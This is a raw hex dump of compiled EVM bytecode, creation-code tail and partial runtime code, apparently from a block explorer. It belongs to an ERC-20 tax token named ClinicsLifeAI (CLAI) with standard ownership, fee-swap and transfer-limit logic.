06130d8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611672929190613568565b6020604051808303815f875af115801561168e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b291906134eb565b505050565b601960029054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6117546119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d7906130d8565b60405180910390fd5b81601960016101000a81548160ff021916908315150217905550806015819055505050565b61180d6119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611899576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611890906130d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe906135ff565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e9061368d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c9061371b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b7f9190612ea2565b60405180910390a3505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9c906137a9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0a90613837565b60405180910390fd5b5f8111611d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4c906138c5565b60405180910390fd5b5f611d5e61136d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611dcc5750611d9c61136d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561252557611e0d6064611dff600c54600f5411611dec57600854611df0565b600a545b8561283790919063ffffffff16565b6128ae90919063ffffffff16565b90506007544303611e9357606460055f4381526020019081526020015f205410611e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e639061392d565b60405180910390fd5b60055f4381526020019081526020015f205f815480929190611e8d9061394b565b91905055505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f36575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f89575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561204357601254821115611fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fca906139dc565b60405180910390fd5b60135482611fe085610bbe565b611fea91906139fa565b111561202b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202290613a77565b60405180910390fd5b600f5f81548092919061203d9061394b565b91905055505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120e1575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561213f57601354826120f385610bbe565b6120fd91906139fa565b111561213e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213590613a77565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156121c157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122055761220260646121f4600d54600f54116121e1576009546121e5565b600b545b8561283790919063ffffffff16565b6128ae90919063ffffffff16565b90505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156122a3575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122db57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122e4575f90505b5f6122ee30610bbe565b9050601960029054906101000a900460ff168015612318575060195f9054906101000a900460ff16155b801561236a575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123825750601960019054906101000a900460ff165b801561238f575060145481115b801561239e5750600e54600f54115b15612452576011544311156123b5575f6010819055505b601854601054106123fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f290613adf565b60405180910390fd5b6124186124138461240e846015546128f7565b6128f7565b61290f565b5f4790505f81111561242e5761242d47612b78565b5b60105f8154809291906124409061394b565b91905055504360118190555050612523565b60195f9054906101000a900460ff161580156124b4575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124cc5750601960019054906101000a900460ff165b80156124d9575060145481115b80156124e85750600e54600f54115b156125225761250a61250584612500846015546128f7565b6128f7565b61290f565b5f4790505f8111156125205761251f47612b78565b5b505b5b505b5f8111156126245761257d8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612be090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161261b9190612ea2565b60405180910390a35b6126748260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c3d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127176126cb8284612c3d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612be090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6127ba8486612c3d90919063ffffffff16565b6040516127c79190612ea2565b60405180910390a350505050565b5f83831115829061281c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128139190612d71565b60405180910390fd5b505f838561282a9190613afd565b9050809150509392505050565b5f808303612847575f90506128a8565b5f8284612854919061329c565b90508284826128639190613b5d565b146128a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289a90613bfd565b60405180910390fd5b809150505b92915050565b5f6128ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c86565b905092915050565b5f8183116129055782612907565b815b905092915050565b600160195f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561294557612944613c1b565b5b6040519080825280602002602001820160405280156129735781602001602082028036833780820191505090505b50905030815f8151811061298a57612989613c48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a2e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612a529190613359565b81600181518110612a6657612a65613c48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612acc3060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119c9565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612b2e959493929190613d2c565b5f604051808303815f87803b158015612b45575f80fd5b505af1158015612b57573d5f803e3d5ffd5b50505050505f60195f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612bdc573d5f803e3d5ffd5b5050565b5f808284612bee91906139fa565b905083811015612c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2a90613dce565b60405180910390fd5b8091505092915050565b5f612c7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127d5565b905092915050565b5f8083118290612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc39190612d71565b60405180910390fd5b505f8385612cda9190613b5d565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d1e578082015181840152602081019050612d03565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612d4382612ce7565b612d4d8185612cf1565b9350612d5d818560208601612d01565b612d6681612d29565b840191505092915050565b5f6020820190508181035f830152612d898184612d39565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612dbe82612d95565b9050919050565b612dce81612db4565b8114612dd8575f80fd5b50565b5f81359050612de981612dc5565b92915050565b5f819050919050565b612e0181612def565b8114612e0b575f80fd5b50565b5f81359050612e1c81612df8565b92915050565b5f8060408385031215612e3857612e37612d91565b5b5f612e4585828601612ddb565b9250506020612e5685828601612e0e565b9150509250929050565b5f8115159050919050565b612e7481612e60565b82525050565b5f602082019050612e8d5f830184612e6b565b92915050565b612e9c81612def565b82525050565b5f602082019050612eb55f830184612e93565b92915050565b5f60208284031215612ed057612ecf612d91565b5b5f612edd84828501612ddb565b91505092915050565b5f805f60608486031215612efd57612efc612d91565b5b5f612f0a86828701612ddb565b9350506020612f1b86828701612ddb565b9250506040612f2c86828701612e0e565b9150509250925092565b5f60ff82169050919050565b612f4b81612f36565b82525050565b5f602082019050612f645f830184612f42565b92915050565b612f7381612db4565b82525050565b5f602082019050612f8c5f830184612f6a565b92915050565b5f60208284031215612fa757612fa6612d91565b5b5f612fb484828501612e0e565b91505092915050565b612fc681612e60565b8114612fd0575f80fd5b50565b5f81359050612fe181612fbd565b92915050565b5f60208284031215612ffc57612ffb612d91565b5b5f61300984828501612fd3565b91505092915050565b5f806040838503121561302857613027612d91565b5b5f61303585828601612ddb565b925050602061304685828601612ddb565b9150509250929050565b5f806040838503121561306657613065612d91565b5b5f61307385828601612fd3565b925050602061308485828601612e0e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6130c2602083612cf1565b91506130cd8261308e565b602082019050919050565b5f6020820190508181035f8301526130ef816130b6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561317857808604811115613154576131536130f6565b5b60018516156131635780820291505b808102905061317185613123565b9450613138565b94509492505050565b5f82613190576001905061324b565b8161319d575f905061324b565b81600181146131b357600281146131bd576131ec565b600191505061324b565b60ff8411156131cf576131ce6130f6565b5b8360020a9150848211156131e6576131e56130f6565b5b5061324b565b5060208310610133831016604e8410600b84101617156132215782820a90508381111561321c5761321b6130f6565b5b61324b565b61322e848484600161312f565b92509050818404811115613245576132446130f6565b5b81810290505b9392505050565b5f61325c82612def565b915061326783612f36565b92506132947fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613181565b905092915050565b5f6132a682612def565b91506132b183612def565b92508282026132bf81612def565b915082820484148315176132d6576132d56130f6565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613311601783612cf1565b915061331c826132dd565b602082019050919050565b5f6020820190508181035f83015261333e81613305565b9050919050565b5f8151905061335381612dc5565b92915050565b5f6020828403121561336e5761336d612d91565b5b5f61337b84828501613345565b91505092915050565b5f6040820190506133975f830185612f6a565b6133a46020830184612f6a565b9392505050565b5f819050919050565b5f819050919050565b5f6133d76133d26133cd846133ab565b6133b4565b612def565b9050919050565b6133e7816133bd565b82525050565b5f60c0820190506134005f830189612f6a565b61340d6020830188612e93565b61341a60408301876133de565b61342760608301866133de565b6134346080830185612f6a565b61344160a0830184612e93565b979650505050505050565b5f8151905061345a81612df8565b92915050565b5f805f6060848603121561347757613476612d91565b5b5f6134848682870161344c565b93505060206134958682870161344c565b92505060406134a68682870161344c565b9150509250925092565b5f6040820190506134c35f830185612f6a565b6134d06020830184612e93565b9392505050565b5f815190506134e581612fbd565b92915050565b5f60208284031215613500576134ff612d91565b5b5f61350d848285016134d7565b91505092915050565b5f61353061352b61352684612d95565b6133b4565b612d95565b9050919050565b5f61354182613516565b9050919050565b5f61355282613537565b9050919050565b61356281613548565b82525050565b5f60408201905061357b5f830185613559565b6135886020830184612e93565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6135e9602683612cf1565b91506135f48261358f565b604082019050919050565b5f6020820190508181035f830152613616816135dd565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613677602483612cf1565b91506136828261361d565b604082019050919050565b5f6020820190508181035f8301526136a48161366b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613705602283612cf1565b9150613710826136ab565b604082019050919050565b5f6020820190508181035f830152613732816136f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613793602583612cf1565b915061379e82613739565b604082019050919050565b5f6020820190508181035f8301526137c081613787565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613821602383612cf1565b915061382c826137c7565b604082019050919050565b5f6020820190508181035f83015261384e81613815565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6138af602983612cf1565b91506138ba82613855565b604082019050919050565b5f6020820190508181035f8301526138dc816138a3565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f613917602083612cf1565b9150613922826138e3565b602082019050919050565b5f6020820190508181035f8301526139448161390b565b9050919050565b5f61395582612def565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613987576139866130f6565b5b600182019050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6139c6601983612cf1565b91506139d182613992565b602082019050919050565b5f6020820190508181035f8301526139f3816139ba565b9050919050565b5f613a0482612def565b9150613a0f83612def565b9250828201905080821115613a2757613a266130f6565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613a61601a83612cf1565b9150613a6c82613a2d565b602082019050919050565b5f6020820190508181035f830152613a8e81613a55565b9050919050565b7f43412062616c616e63652073656c6c00000000000000000000000000000000005f82015250565b5f613ac9600f83612cf1565b9150613ad482613a95565b602082019050919050565b5f6020820190508181035f830152613af681613abd565b9050919050565b5f613b0782612def565b9150613b1283612def565b9250828203905081811115613b2a57613b296130f6565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b6782612def565b9150613b7283612def565b925082613b8257613b81613b30565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613be7602183612cf1565b9150613bf282613b8d565b604082019050919050565b5f6020820190508181035f830152613c1481613bdb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613ca781612db4565b82525050565b5f613cb88383613c9e565b60208301905092915050565b5f602082019050919050565b5f613cda82613c75565b613ce48185613c7f565b9350613cef83613c8f565b805f5b83811015613d1f578151613d068882613cad565b9750613d1183613cc4565b925050600181019050613cf2565b5085935050505092915050565b5f60a082019050613d3f5f830188612e93565b613d4c60208301876133de565b8181036040830152613d5e8186613cd0565b9050613d6d6060830185612f6a565b613d7a6080830184612e93565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613db8601b83612cf1565b9150613dc382613d84565b602082019050919050565b5f6020820190508181035f830152613de581613dac565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122001bf2d3cb428b5064ddda6367d6cf92467c0b4047ad12d852fc83295a37dbb6164736f6c63430008180033

Deployed Bytecode

0x6080604052600436106101c5575f3560e01c8063715018a6116100f657806395d89b4111610094578063d45cce6511610063578063d45cce65146105ea578063dd62ed3e14610614578063e68d0b0514610650578063f2fde38b14610678576101cc565b806395d89b4114610532578063a9059cbb1461055c578063bf474bed14610598578063c4e2b619146105c2576101cc565b80638da5cb5b116100d05780638da5cb5b1461048e5780638f9a55c0146104b857806390b60549146104e257806390d49b9d1461050a576101cc565b8063715018a6146104385780637d1db4a51461044e5780638a8c523c14610478576101cc565b80632017e87a1161016357806349bd5a5e1161013d57806349bd5a5e1461036e5780635979b1a7146103985780636e463667146103d457806370a08231146103fc576101cc565b80632017e87a146102e057806323b872dd14610308578063313ce56714610344576101cc565b80630f144a481161019f5780630f144a481461024c5780630faee56f1461026257806310c435aa1461028c57806318160ddd146102b6576101cc565b806301ab6ee5146101d057806306fdde03146101e6578063095ea7b314610210576101cc565b366101cc57005b5f80fd5b3480156101db575f80fd5b506101e46106a0565b005b3480156101f1575f80fd5b506101fa6107cf565b6040516102079190612d71565b60405180910390f35b34801561021b575f80fd5b5061023660048036038101906102319190612e22565b61080c565b6040516102439190612e7a565b60405180910390f35b348015610257575f80fd5b50610260610829565b005b34801561026d575f80fd5b50610276610924565b6040516102839190612ea2565b60405180910390f35b348015610297575f80fd5b506102a061092a565b6040516102ad9190612ea2565b60405180910390f35b3480156102c1575f80fd5b506102ca610930565b6040516102d79190612ea2565b60405180910390f35b3480156102eb575f80fd5b5061030660048036038101906103019190612ebb565b610953565b005b348015610313575f80fd5b5061032e60048036038101906103299190612ee6565b610a02565b60405161033b9190612e7a565b60405180910390f35b34801561034f575f80fd5b50610358610ad6565b6040516103659190612f51565b60405180910390f35b348015610379575f80fd5b50610382610ade565b60405161038f9190612f79565b60405180910390f35b3480156103a3575f80fd5b506103be60048036038101906103b99190612ebb565b610b03565b6040516103cb9190612e7a565b60405180910390f35b3480156103df575f80fd5b506103fa60048036038101906103f59190612f92565b610b20565b005b348015610407575f80fd5b50610422600480360381019061041d9190612ebb565b610bbe565b60405161042f9190612ea2565b60405180910390f35b348015610443575f80fd5b5061044c610c04565b005b348015610459575f80fd5b50610462610d52565b60405161046f9190612ea2565b60405180910390f35b348015610483575f80fd5b5061048c610d58565b005b348015610499575f80fd5b506104a261136d565b6040516104af9190612f79565b60405180910390f35b3480156104c3575f80fd5b506104cc611394565b6040516104d99190612ea2565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190612fe7565b61139a565b005b348015610515575f80fd5b50610530600480360381019061052b9190612ebb565b61144b565b005b34801561053d575f80fd5b50610546611522565b6040516105539190612d71565b60405180910390f35b348015610567575f80fd5b50610582600480360381019061057d9190612e22565b61155f565b60405161058f9190612e7a565b60405180910390f35b3480156105a3575f80fd5b506105ac61157c565b6040516105b99190612ea2565b60405180910390f35b3480156105cd575f80fd5b506105e860048036038101906105e39190612e22565b611582565b005b3480156105f5575f80fd5b506105fe6116b7565b60405161060b9190612e7a565b60405180910390f35b34801561061f575f80fd5b5061063a60048036038101906106359190613012565b6116ca565b6040516106479190612ea2565b60405180910390f35b34801561065b575f80fd5b5061067660048036038101906106719190613050565b61174c565b005b348015610683575f80fd5b5061069e60048036038101906106999190612ebb565b611805565b005b6106a86119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072b906130d8565b60405180910390fd5b6009600a6107429190613252565b633b9aca00610751919061329c565b6012819055506009600a6107659190613252565b633b9aca00610774919061329c565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6107a99190613252565b633b9aca006107b8919061329c565b6040516107c59190612ea2565b60405180910390a1565b60606040518060400160405280600d81526020017f436c696e6963734c696665414900000000000000000000000000000000000000815250905090565b5f61081f6108186119c2565b84846119c9565b6001905092915050565b6108316119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b4906130d8565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610921573d5f803e3d5ffd5b50565b60155481565b60185481565b5f6009600a61093f9190613252565b633b9aca0061094e919061329c565b905090565b61095b6119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109de906130d8565b60405180910390fd5b6109f081611b8c565b156109ff576109fe81611bdf565b5b50565b5f610a0e848484611c37565b610acb84610a1a6119c2565b610ac685604051806060016040528060288152602001613ded6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a7d6119c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127d59092919063ffffffff16565b6119c9565b600190509392505050565b5f6009905090565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052805f5260405f205f915054906101000a900460ff1681565b610b286119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab906130d8565b60405180910390fd5b8060188190555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c0c6119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f906130d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b610d606119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de3906130d8565b60405180910390fd5b601760149054906101000a900460ff1615610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390613327565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ed83060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610ec49190613252565b633b9aca00610ed3919061329c565b6119c9565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f42573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f669190613359565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fec573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110109190613359565b6040518363ffffffff1660e01b815260040161102d929190613384565b6020604051808303815f875af1158015611049573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061106d9190613359565b60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111e030610bbe565b5f806111ea61136d565b426040518863ffffffff1660e01b815260040161120c969594939291906133ed565b60606040518083038185885af1158015611228573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061124d9190613460565b50505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112ed9291906134b0565b6020604051808303815f875af1158015611309573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132d91906134eb565b506001601960016101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b6113a26119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461142e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611425906130d8565b60405180910390fd5b80601960026101000a81548160ff02191690831515021790555050565b6114536119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d6906130d8565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600481526020017f434c414900000000000000000000000000000000000000000000000000000000815250905090565b5f61157261156b6119c2565b8484611c37565b6001905092915050565b60145481565b61158a6119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160d906130d8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683604051